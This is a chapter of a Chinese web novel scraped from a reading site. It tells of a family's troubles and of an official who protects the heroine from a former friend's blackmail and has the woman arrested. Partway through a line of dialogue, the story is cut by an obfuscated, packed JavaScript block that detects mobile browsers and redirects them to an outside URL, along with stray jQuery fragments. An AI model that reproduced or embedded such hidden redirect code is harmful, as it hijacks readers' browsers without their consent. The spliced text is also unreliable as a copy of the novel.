123读书网 > 都市小说 > 谋兄 > 46. 第 46 章
    戚风堂与藏春回到戚宅门前,正巧遇上送别友人的风林。


    他身上带着明显的酒气,脚步略显虚浮,见到兄姐归来,却兴致勃勃地凑上前,拉着他们在门墩边闲聊,显然是想拖延时间,免得立刻回去遭杜姨娘数落。


    “今日与同窗在莲湖畔小聚,”风林脸上泛着红光,带着几分醉意,“大哥,二姐姐,你们猜怎么着?我们可瞧见了和宁郡主下船,那场面真是气派非凡。”


    “我们也瞧见了,”戚风堂微微一笑,配合地说道:“不过在船上隔着纱幔,匆匆一瞥,远不如你看得真切。”


    风林一听更来劲了,“可不是,我当时瞧着那位郡主就觉得眼熟得紧,后来仔细一琢磨,她那模样长得有些像二姐姐呢。”


    藏春一口唾沫呛在喉间,连咳了好几声,带着薄嗔:“快别胡说,莫不是你吃醉了酒眼花了罢,赶紧回去歇着。”


    “大哥,你方才也瞧见了,你来说句公道话,像不像嘛?”风林急切地转向戚风堂,寻求认同。戚风堂看着他如此认真,倒真的仔细回想了一下,朦胧的纱幔,笑靥生姿的脸,张扬的神态动作。他略点点头,带着些赞同,“好像确实有一点。”


    风林得了想要的答案,心满意足,哼着不成调的小曲,晃悠着进了大门。


    将藏春送了回来,戚风堂转头便要去戚家工坊,藏春有些不舍又很是心疼,“哥哥若若是这么忙,不必特意抽出时间陪我的。”戚风堂温和一笑,“放心,哥哥不累。”


    刚进前院,藏春便见张诗隐立在游廊下,正等着接文芝和长幸回去。


    他见藏春走来,微微颔首致意,藏春注意到他眼底带着血丝,整个人身上笼罩着孤独凄凉,想来张嫂子的身故,给了他不小的打击。


    藏春引着他穿过庭院,来到文芝母女的西偏厦。


    长幸正在杜姨娘怀里玩耍,一见藏春立刻张着小手扑过来,藏春笑着将她抱起:“长幸快看,爹爹来接你回家了。”


    前几日还念叨爹爹的小丫头,此刻却像不认识眼前人似的,扭着身子往藏春怀里钻,哭嚎起来:“要姨姨,不要爹爹!”


    张诗隐上前想抱她,长幸却猛地一挣,“哇”地一声,竟将刚喝的奶吐了他一身,污了官服前襟。这种事情他经多了,已不再是最初的手忙脚乱,忙拿帕子先给她擦嘴。


    “姑爷莫怪,孩子这是认生了,不如你且在这儿住两日,待长幸与你亲近些了再一同回去。”杜姨娘打圆场,生怕张诗隐不乐意。


    他没有立刻回应,目光转向靠在榻上的文芝。文芝别过脸去,只留给他一个沉默抗拒的后脑勺,他耐着性子问道:“文芝,你的意思呢?”


    “我自问待你与长幸不曾有半分亏欠,”张诗隐带着疲惫和压抑的焦躁,“何苦在此事上为难我?”他深知不该与病人计较,但文芝这般油盐不进的态度,着实令人心力交瘁。他有一搭没一搭地试图与文芝说话,她却置若罔闻,甚至将头费力的往被子里缩了缩。


    卧房里只剩下他们三人,藏春已经去外面取干净的衣物了,杜姨娘在一旁陪着小心,好言劝了文芝几句,却也是徒劳,张诗隐心中烦闷更甚,独自走到院中透气。


    藏春沿着小径缓缓走着,突然一块拳头大小的石块“呼”地一声,越过粉白院墙,直直朝她砸来。


    事发突然,藏春未来得及反应,一道青色身影已经出现在他面前。


    石块重重砸在张诗隐的背上,巨大的冲力让他踉跄前扑,将藏春抵在墙壁上。


    藏春的手下意识护在胸前,张诗隐忍着背上钝痛,迅速后退一步拉开距离。


    “抱歉。


    ”你没事吧?”


    两人几乎同时开口,藏春想知道他受伤了没有,张诗隐不着痕迹的侧开身子,脸颊微红,“无妨。”


    那快石头菱角分明,个头又很大,砸下的力道很重,必是要见血的,藏春看向他后背,张诗隐坚持说没事,藏春也拗不过他,轻轻道了一句:“多谢。”


    这时,门房已听见了声音,大喊:“有贼人投石。”


    藏春担心投石之人是冲自己来的,提起裙裾追了出去,张诗隐不放心,也紧随其后。


    追出巷口不远,只见一个粗布衣女子慌乱地停下。张诗隐在临安时曾为贾家抄书送书,他带着几分狐疑,觉得眼前之人似乎很像贾家的大小姐。


    藏春紧咬下唇,让门房先回去。


    看到张诗隐身上穿着的是官服,贾朵脸色有些泛白,吞了一口唾沫更紧张了,但想到今日目的,硬着头皮道:“上……上次的钱花完了,我实在没法子了……”


    “念在临安时的姐妹情谊,我这才接济了你,你怎能如此贪得无厌?”藏春手里攥着帕子,有些气结。


    “反正我是走投无路了”,贾朵豁出去了,“你若不给钱,我就把你当初做的事情都抖落出去。”她刻意瞟了一眼张诗隐,威胁之意不言而喻。


    热风拂过藏春的面颊,碧绿丝绦垂在她的薄肩上,如柳叶般摇曳,灵动又好看。贾朵心头酸涩不已,曾经她的日子比藏春过得还要好,她努努嘴,把委屈的眼泪憋回去。


    张诗隐上前一步,声音带着严肃的冷意:“贾小姐,若本官没听错,你这是在敲诈,按本朝刑律,敲诈勒索,尤其累犯者,杖八十,徒三年。”


    贾朵被这官威和律法条文吓得脸色煞白,她实在没了办法,“噗通”跪倒在地,涕泪横流,“藏春妹妹,我真的是没法子了,阿石给人做活,对方赖账不给钱,还把他打成了重伤,你若不信就随我看看,我真的是走投无路了。”


    看着她这般凄惨模样,藏春心中挣扎,她的确是想看看贾朵现在过得到底如何。


    她心中犹豫时,张诗隐外出了片刻,再次回来时场面还胶着着。


    “带路。”张诗隐替藏春做了决定。


    他们三人来到汴京城边缘,靠近村落的一处破败小屋。


    屋内家徒四壁,但是被收拾还算干净整洁,一张破旧的木板床,阿石蜷缩其上,捂着腰腹痛苦呻吟,看样子是伤得不轻。


    当初与阿石交易,都是由柴五娘经手,藏春并未私下与他直接接触。


    贾朵扑到床边,握着阿石的手哭诉。


    张诗隐环视这窘迫的环境,沉声问道:“贾小姐,你与人私奔是自身选择,如今一再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964590|188998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    勒索藏春,是何道理?”


    “我…我…当初是藏春妹妹怂恿我,帮我的,不然我怎会落到这步田地,所以她该给我银子的。”贾朵哭着控诉,她无疑是爱阿石的,可是贫寒的生活太过辛苦,让她从养尊处优的大小姐,变成如今淑女不淑女,泼妇不泼妇的路上来。


    藏春于心不忍,又心存愧意,已经伸手解腰间的锦缎荷包。隔着衣袖,张诗隐轻轻按住她的手腕,“你并不欠她们什么。”


    藏春态度迟疑不决,贾朵还欲哭闹威胁,忽听屋外传来一阵脚步声,一个带着几分官腔的声音响起:“张大人今日怎得空来这这穷乡僻壤,此地刁民甚多,可不是个好去处啊。”


    身着紫色圆领官袍的中年官员在几名衙役簇拥下走了进来,正是开封府尹。


    方才张诗隐离开那会,便是请人去报了官。郑府尹听着里面谈到了要钱,才慢悠悠的进来拿人。


    张诗隐对着府尹虚拱了拱手:“郑大人,下官妻妹在此遇到些麻烦”,他指向跪在地上的贾朵,“她涉嫌敲诈勒索,且是累犯,烦请大人依律处置。”


    府尹是何等精明人物,一听张诗隐用了“妻妹”和“依律处置”这样的措辞,便知此事需认真对待,他也乐得卖他这个面子,


    他脸上笑容不变,眼神却已冷了下来,对着身后衙役略一抬下巴:“拿下这刁妇,堵上嘴莫让她再聒噪。”


    身后的两名的衙役立刻上前,熟练地将贾朵反剪双手,贾朵惊恐地欲哭喊挣扎,一块破布已塞入她口中,只剩下绝望的“呜呜”声。


    看着张诗隐这般云淡风轻的处理,藏春手心有些发凉。


    张诗隐又转向府尹,“府尹大人,另有一事。”他指了指塌上哀嚎的阿石,“此人疑似做工被殴,主家拖欠工钱,情节恶劣,望大人一并查办,以正视听。”


    府尹立刻拱手,笑容更盛:“张大人心系民瘼,本官佩服,此等恶行,定当严惩,录事参军,”他回头吩咐,“记下此事,着即查办。”他转向张诗隐,“今日真是巧遇,改日再同张大人吃茶。”


    府尹带着人离去,小屋重归寂静,张诗隐自掏腰包,请了附近的大夫来给阿石诊治。


    回戚宅的路上,藏春低声道:“今日真是多谢你,不然我真不知该如何应对。”她可能真的会因惧怕贾朵威胁而不断妥协。


    “藏春,做人不可一味良善,遇不平当知借势反击”,张诗隐抬头看了看向东流走的浮云,声音有些发沉,“这也是我活了这二十多年,如今才懂得的道理。”


    藏春一时无言,张诗隐甚至没有追问她怂恿贾朵私奔的细节,或许在外人看来,那不过是闺阁女儿间不足挂齿的小事,是她自己过于在意,才会将事想的那么严重,愈发地投鼠忌器。


    她抬头看他,张诗隐似乎看穿了她的心思,淡淡道:“放心,今日之事,只当从未发生。”


    回到戚宅,孩子和文芝依旧都不愿随他回去,他无法勉强,只得先行告辞,说过些时日再来。


    走出戚宅大门时,张诗隐的脚步明显有些迟缓,想必是背上的伤牵扯发痛。藏春握紧了袖中那瓶备下的伤药,还是放轻脚步回去了。